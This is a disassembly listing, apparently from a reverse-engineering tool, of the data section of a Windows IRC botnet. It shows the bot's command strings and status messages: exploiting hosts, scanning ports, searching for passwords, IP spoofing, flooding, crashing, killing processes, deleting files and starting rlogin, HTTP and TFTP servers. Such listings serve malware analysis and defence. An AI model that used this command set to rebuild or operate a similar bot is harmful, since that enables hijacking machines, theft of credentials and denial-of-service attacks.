		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
; char aCurrentip[]
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401CC7+1A93o
		align 4
; char aCip[]
aCip		db 'cip',0              ; DATA XREF: sub_401CC7+1AA8o
; char aRloginserver[]
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401CC7+1ABDo
		align 4
; char aRlogin[]
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401CC7+1AD2o
		align 4
; char asc_441ED4[]
asc_441ED4	db '-'                  ; DATA XREF: sub_401CC7+2365o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_441F10	db  2Dh	; -		; DATA XREF: sub_401CC7+23D4o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToStar_5	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401CC7+1AE7o
		align 4
; char aHttp[]
aHttp		db 'http',0             ; DATA XREF: sub_401CC7+1AFCo
		align 10h
; char asc_441F60[]
asc_441F60	db '-'                  ; DATA XREF: sub_401CC7+2214o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_441F9C[]
asc_441F9C	db '-'                  ; DATA XREF: sub_401CC7+227Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_6	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aTftpserver[]
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401CC7+1B11o
		align 4
; char aTftp[]
aTftp		db 'tftp',0             ; DATA XREF: sub_401CC7+1B26o
		align 4
unk_441FEC	db  2Dh	; -		; DATA XREF: sub_401CC7+1FE9o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
; char asc_44200C[]
asc_44200C	db '-'                  ; DATA XREF: sub_401CC7+209Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_442040	db  2Dh	; -		; DATA XREF: sub_401CC7+210Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_7	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aCrash[]
aCrash		db 'crash',0            ; DATA XREF: sub_401CC7+1B3Bo
		align 4
; char asc_442084[]
asc_442084	db '-'                  ; DATA XREF: sub_401CC7+1B51o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
		dd 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_401CC7+1B8Bo
		align 4
; char aScan_0[]
aScan_0		db 'scan',0             ; DATA XREF: sub_401CC7+1BA1o
		align 10h
; char aScan_1[]
aScan_1		db 'scan',0             ; DATA XREF: sub_401CC7+1BB6o
		align 4
; char asc_4420B8[]
asc_4420B8	db '-'                  ; DATA XREF: sub_401CC7+1D25o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
unk_4420F8	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_403C9Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_8	db '- Failed to start scan, port is invalid.',0
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401CC7+1EE3o
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401CC7+1EEAo
		align 4
; char asc_442144[]
asc_442144	db '-'                  ; DATA XREF: sub_401CC7+1F15o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
; char asc_4421B0[]
asc_4421B0	db '-'                  ; DATA XREF: sub_401CC7+1F86o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_9	db '- Failed to start scan thread, error: <%d>.',0
		align 4
; char aPhonehome[]
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401CC7+1BCBo
		align 4
; char aNoticeSPhoning[]
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1BE2o
		align 4
; char aFindpass[]
aFindpass	db 'findpass',0         ; DATA XREF: sub_401CC7+1BF8o
		align 4
; char aFp[]
aFp		db 'fp',0               ; DATA XREF: sub_401CC7+1C09o
		align 4
; char asc_44222C[]
asc_44222C	db '-'                  ; DATA XREF: sub_401CC7+1C52o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
unk_442254	db  2Dh	; -		; DATA XREF: sub_401CC7+1CCCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start search thread, error: <%d>.',0
; char aSpoof[]
aSpoof		db 'spoof',0            ; DATA XREF: sub_401CC7+19A8o
		align 4
; char Str2[]
Str2		db 'off',0              ; DATA XREF: sub_401CC7+19BCo
; char asc_44229C[]
asc_44229C	db '-'                  ; DATA XREF: sub_401CC7+19D7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
; char aGet_2[]
aGet_2		db 'get',0              ; DATA XREF: sub_401CC7:loc_404C25o
unk_4422C8	db  2Dh	; -		; DATA XREF: sub_401CC7+2F80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
; char aD_D_D_[]
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401CC7+2FD9o
		align 4
unk_44230C	db  2Dh	; -		; DATA XREF: sub_401CC7+2FEEo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurr_0	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
unk_442344	db  2Dh	; -		; DATA XREF: sub_401CC7+3002o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char asc_442378[]
asc_442378	db '-'                  ; DATA XREF: sub_401CC7+3020o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
; char aExploit[]
aExploit	db 'exploit',0          ; DATA XREF: sub_401CC7+303Co
; char asc_4423AC[]
asc_4423AC	db '-'                  ; DATA XREF: sub_401CC7+30C3o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_4423DC	db  2Dh	; -		; DATA XREF: sub_401CC7+3135o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
; char aReconnect_in[]
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401CC7+3142o
		align 4
; char aRin[]
aRin		db 'rin',0              ; DATA XREF: sub_401CC7+3159o
; char aQuitReconnec_1[]
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409AB7o
		align 4
; char asc_442448[]
asc_442448	db '-'                  ; DATA XREF: sub_401CC7+7E06o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
; char aReconnect_in_m[]
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401CC7+3170o
; char aRinms[]
aRinms		db 'rinms',0            ; DATA XREF: sub_401CC7+3187o
		align 4
; char aQuitReconnec_0[]
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A73o
		align 10h
; char asc_4424A0[]
asc_4424A0	db '-'                  ; DATA XREF: sub_401CC7+7DC2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
; char aFlood[]
aFlood		db 'flood',0            ; DATA XREF: sub_401CC7+319Eo
		align 4
; char aLoad[]
aLoad		db 'load',0             ; DATA XREF: sub_401CC7+31BFo
		align 4
; char asc_4424D4[]
asc_4424D4	db '-'                  ; DATA XREF: sub_401CC7+3216o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
; char aPm_1[]
aPm_1		db 'pm',0               ; DATA XREF: sub_401CC7+3246o
		align 4
; char asc_442504[]
asc_442504:				; DATA XREF: sub_401CC7+3261o
		unicode	0, < >,0
; char a__7[]
a__7:					; DATA XREF: sub_401CC7+3266o
		unicode	0, <_>,0
; char aPrivmsgSS[]
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+3295o
		align 4
; char aCt[]
aCt		db 'ct',0               ; DATA XREF: sub_401CC7+32B0o
		align 10h
; char asc_442520[]
asc_442520:				; DATA XREF: sub_401CC7+32CBo
		unicode	0, < >,0
; char a_[]
a_:					; DATA XREF: sub_401CC7+32D0o
		unicode	0, <_>,0
; char aPrivmsgS[]
aPrivmsgS	db 'privmsg %s :'       ; DATA XREF: sub_401CC7+32FFo
		dd 1732501h, 0
; char aNt_1[]
aNt_1		db 'nt',0               ; DATA XREF: sub_401CC7+331Ao
		align 10h
; char asc_442540[]
asc_442540:				; DATA XREF: sub_401CC7+3335o
		unicode	0, < >,0
; char a__8[]
a__8:					; DATA XREF: sub_401CC7+333Ao
		unicode	0, <_>,0
; char aNoticeSS_1[]
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401CC7+3369o
		align 4
; char aMode[]
aMode		db 'mode',0             ; DATA XREF: sub_401CC7+3384o
		align 10h
; char asc_442560[]
asc_442560:				; DATA XREF: sub_401CC7+339Fo
		unicode	0, < >,0
; char a__0[]
a__0:					; DATA XREF: sub_401CC7+33A4o
		unicode	0, <_>,0
; char aModeSS[]
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401CC7+33D3o
		align 4
; char aJoin[]
aJoin		db 'join',0             ; DATA XREF: sub_401CC7+33EEo
		align 4
; char aJoinS[]
aJoinS		db 'join %s',0          ; DATA XREF: sub_401CC7+3410o
; char aPart_1[]
aPart_1		db 'part',0             ; DATA XREF: sub_401CC7+342Bo
		align 4
; char aPartS[]
aPartS		db 'part %s',0          ; DATA XREF: sub_401CC7+344Do
; char aPartflood[]
aPartflood	db 'partflood',0        ; DATA XREF: sub_401CC7+3468o
		align 10h
; char aPartSS[]
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401CC7+348Fo
		align 4
; char aPnick[]
aPnick		db 'pnick',0            ; DATA XREF: sub_401CC7+34AAo
		align 4
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_401CC7+34EBo
		align 4
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401CC7+3506o
; char aJoinPart[]
aJoinPart	db 'join/part',0        ; DATA XREF: sub_401CC7+3521o
		align 10h
; char aJoinS_0[]
aJoinS_0	db 'join %s',0          ; DATA XREF: sub_401CC7+354Fo
; char aPartSS_0[]
aPartSS_0	db 'part %s %s',0       ; DATA XREF: sub_401CC7+357Bo
		align 4
; char aJoinS_1[]
aJoinS_1	db 'join %s',0          ; DATA XREF: sub_401CC7+35B6o
; char aPartSS_1[]
aPartSS_1	db 'part %s %s',0       ; DATA XREF: sub_401CC7+35F6o
		align 4
; char aJoinS_2[]
aJoinS_2	db 'join %s',0          ; DATA XREF: sub_401CC7+361Do
; char aPartSS_2[]
aPartSS_2	db 'part %s %s',0       ; DATA XREF: sub_401CC7+365Do
		align 4
; char aDcc[]
aDcc		db 'dcc',0              ; DATA XREF: sub_401CC7+3678o
; char aPrivmsgS_0[]
aPrivmsgS_0	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+36F5o
		dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
		dd 64252064h, 1
; char aNick_0[]
aNick_0		db 'nick',0             ; DATA XREF: sub_401CC7+3710o
		align 10h
; char aJoinS_3[]
aJoinS_3	db 'join %s',0          ; DATA XREF: sub_401CC7+373Ao
; char aNickS_1[]
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_401CC7+376Do
; char aNickS_2[]
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_401CC7+37B5o
; char aNickS_3[]
aNickS_3	db 'NICK %s',0          ; DATA XREF: sub_401CC7+37FDo
; char aChgnick[]
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401CC7+3818o
; char aNickS_4[]
aNickS_4	db 'NICK %s',0          ; DATA XREF: sub_401CC7+3842o
; char aMsg[]
aMsg		db 'msg',0              ; DATA XREF: sub_401CC7+385Do
; char aJoinS_4[]
aJoinS_4	db 'join %s',0          ; DATA XREF: sub_401CC7+388Bo
; char aPrivmsgSS_0[]
aPrivmsgSS_0	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+38B7o
		align 4
; char aPrivmsgSS_1[]
aPrivmsgSS_1	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+38F7o
		align 4
; char aPrivmsgSS_2[]
aPrivmsgSS_2	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+3937o
		align 4
; char aNotice_2[]
aNotice_2	db 'notice',0           ; DATA XREF: sub_401CC7+3952o
		align 4
; char aJoinS_5[]
aJoinS_5	db 'join %s',0          ; DATA XREF: sub_401CC7+3980o
; char aNoticeSS_2[]
aNoticeSS_2	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+39ACo
		align 4
; char aNoticeSS_3[]
aNoticeSS_3	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+39ECo
		align 4
; char aNoticeSS_4[]
aNoticeSS_4	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3A2Co
		align 4
; char aCtcp[]
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401CC7+3A47o
		align 4
; char aJoinS_6[]
aJoinS_6	db 'join %s',0          ; DATA XREF: sub_401CC7+3A75o
; char aPrivmsgS_1[]
aPrivmsgS_1	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3A9Co
		dd 6E697001h, 167h
; char aPrivmsgS_2[]
aPrivmsgS_2	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3AD7o
		dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_3[]
aPrivmsgS_3	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3B12o
		dd 6E696601h, 1726567h,	0
; char aPrivmsgS_4[]
aPrivmsgS_4	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3B4Do
		dd 6E696601h, 1726567h,	0
; char aMix[]
aMix		db 'mix',0              ; DATA XREF: sub_401CC7+3B68o
; char aJoinS_7[]
aJoinS_7	db 'join %s',0          ; DATA XREF: sub_401CC7+3B96o
; char aPrivmsgS_5[]
aPrivmsgS_5	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3BBDo
		dd 6E697001h, 167h
; char aNoticeSS_5[]
aNoticeSS_5	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3BFDo
		align 4
; char aPrivmsgSS_3[]
aPrivmsgSS_3	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401CC7+3C3Do
		align 4
; char aNoticeSS_6[]
aNoticeSS_6	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3C7Do
		align 4
; char aRegister[]
aRegister	db 'register',0         ; DATA XREF: sub_401CC7+3C98o
		align 4
; char aNickservRegist[]
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC7+3CC1o
; char aOff_0[]
aOff_0		db 'off',0              ; DATA XREF: sub_401CC7+3CDCo
unk_4427D0	db  2Dh	; -		; DATA XREF: sub_401CC7+3D2Ao
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
; char aNick_1[]
aNick_1		db 'nick',0             ; DATA XREF: sub_401CC7+3D48o
		align 10h
; char aN[]
aN:					; DATA XREF: sub_401CC7+3D5Fo
		unicode	0, <n>,0
; char aNickS_7[]
aNickS_7	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7D91o
		align 10h
unk_442810	db  2Dh	; -		; DATA XREF: sub_401CC7+7DA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
; char aJoin_0[]
aJoin_0		db 'join',0             ; DATA XREF: sub_401CC7+3D76o
		align 4
; char aJ[]
aJ:					; DATA XREF: sub_401CC7+3D8Do
		unicode	0, <j>,0
; char aJoinSS_3[]
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D75o
		align 10h
unk_442850	db  2Dh	; -		; DATA XREF: sub_401CC7+7D86o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
; char aPart_2[]
aPart_2		db 'part',0             ; DATA XREF: sub_401CC7+3DA4o
		align 4
; char aPt[]
aPt		db 'pt',0               ; DATA XREF: sub_401CC7+3DBBo
		align 10h
; char aPartS_2[]
aPartS_2	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7D52o
		align 4
unk_44288C	db  2Dh	; -		; DATA XREF: sub_401CC7+7D63o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_401CC7+3DD2o
; char aR_2[]
aR_2		db 'r',0                ; DATA XREF: sub_401CC7+3DE9o
		align 4
; char aS_20[]
aS_20		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7D36o
		align 10h
dword_4428C0	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401CC7+7D47o
		dd 2E732520h, 0
; char aKillthread[]
aKillthread	db 'killthread',0       ; DATA XREF: sub_401CC7+3E00o
		align 4
; char aK[]
aK:					; DATA XREF: sub_401CC7+3E17o
		unicode	0, <k>,0
; char aAll[]
aAll		db 'all',0              ; DATA XREF: sub_401CC7+7C55o
unk_4428F0	db  2Dh	; -		; DATA XREF: sub_401CC7+7C6Fo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_442918	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_409940o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_442940	db  2Dh	; -		; DATA XREF: sub_401CC7+7CBFo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
; char asc_442964[]
asc_442964	db '-'                  ; DATA XREF: sub_401CC7:loc_40998Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
; char aC_quit[]
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401CC7+3E2Eo
		align 4
; char aC_q[]
aC_q		db 'c_q',0              ; DATA XREF: sub_401CC7+3E45o
; char aQuitLater_0[]
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7BCAo
		align 4
; char aC_rndnick[]
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401CC7+3E5Co
		align 4
; char aC_rn[]
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401CC7+3E73o
		align 10h
; char aNickS_6[]
aNickS_6	db 'NICK %s',0          ; DATA XREF: sub_401CC7+7B8Ao
aS_19		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7B9Fo
		align 10h
; char aPrefix[]
aPrefix		db 'prefix',0           ; DATA XREF: sub_401CC7+3E8Ao
		align 4
; char aPr[]
aPr		db 'pr',0               ; DATA XREF: sub_401CC7+3EA1o
		align 4
unk_4429DC	db  2Dh	; -		; DATA XREF: sub_401CC7+7B45o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
; char aOpen[]
aOpen		db 'open',0             ; DATA XREF: sub_401CC7+3EB8o
		align 4
; char aO[]
aO:					; DATA XREF: sub_401CC7+3ECFo
		unicode	0, <o>,0
aOpen_1		db 'open',0             ; DATA XREF: sub_401CC7+7B15o
		align 4
unk_442A18	db  2Dh	; -		; DATA XREF: sub_401CC7+7B26o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_442A38	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4097F7o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
; char aServer_5[]
aServer_5	db 'server',0           ; DATA XREF: sub_401CC7+3EE6o
		align 4
; char aSe[]
aSe		db 'se',0               ; DATA XREF: sub_401CC7+3EFDo
		align 4
unk_442A68	db  2Dh	; -		; DATA XREF: sub_401CC7+7B06o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 10h
; char aDns[]
aDns		db 'dns',0              ; DATA XREF: sub_401CC7+3F14o
; char aDn[]
aDn		db 'dn',0               ; DATA XREF: sub_401CC7+3F2Bo
		align 4
; char asc_442A98[]
asc_442A98	db '-'                  ; DATA XREF: sub_401CC7+7AB3o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_442AB8	db  2Dh	; -		; DATA XREF: sub_401CC7+7AE6o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_442AD8	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4097B4o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
; char aKillproc[]
aKillproc	db 'killproc',0         ; DATA XREF: sub_401CC7+3F42o
		align 4
; char aKp[]
aKp		db 'kp',0               ; DATA XREF: sub_401CC7+3F59o
		align 10h
unk_442B10	db  2Dh	; -		; DATA XREF: sub_401CC7+7A75o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_442B30	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_409746o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_401CC7+3F70o
		align 4
; char aKi[]
aKi		db 'ki',0               ; DATA XREF: sub_401CC7+3F87o
		align 4
unk_442B6C	db  2Dh	; -		; DATA XREF: sub_401CC7+7A18o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
; char asc_442B90[]
asc_442B90	db '-'                  ; DATA XREF: sub_401CC7:loc_4096E6o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_401CC7+3F9Eo
		align 4
; char aDel[]
aDel		db 'del',0              ; DATA XREF: sub_401CC7+3FB5o
; char asc_442BCC[]
asc_442BCC	db '-'                  ; DATA XREF: sub_401CC7+79D6o
		db 3, 34h, 2
		dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
		dd 2Eh
dword_442BE8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC7:loc_4096B8o
; char aGet_3[]
aGet_3		db 'get',0              ; DATA XREF: sub_401CC7+3FCCo
; char aGt[]
aGt		db 'gt',0               ; DATA XREF: sub_401CC7+3FE3o
		align 4
; char aS_34[]
aS_34		db '%s',0               ; DATA XREF: sub_401CC7+78F9o
		align 10h
; char asc_442C00[]
asc_442C00	db '-'                  ; DATA XREF: sub_401CC7+7951o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_442C24	db  2Dh	; -		; DATA XREF: sub_401CC7+79C0o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_11	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
; char aList[]
aList		db 'list',0             ; DATA XREF: sub_401CC7+3FFAo
		align 4
; char aLi[]
aLi		db 'li',0               ; DATA XREF: sub_401CC7+4011o
		align 4
dword_442C6C	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401CC7+78D6o
		dd 0
; char aVisit[]
aVisit		db 'visit',0            ; DATA XREF: sub_401CC7+4028o
		align 4
; char aV[]
aV:					; DATA XREF: sub_401CC7+403Fo
		unicode	0, <v>,0
; char asc_442C90[]
asc_442C90	db '-'                  ; DATA XREF: sub_401CC7+783Ao
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_442CA8[]
asc_442CA8	db '-'                  ; DATA XREF: sub_401CC7+78A9o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToSta_12	db ' Failed to start connection thread, error: <%d>.',0
		align 4
; char aMirccmd[]
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401CC7+4056o
; char aMirc[]
aMirc		db 'mirc',0             ; DATA XREF: sub_401CC7+406Do
		align 4
unk_442CF8	db  2Dh	; -		; DATA XREF: sub_401CC7+77C4o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_442D18	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401CC7:loc_409492o
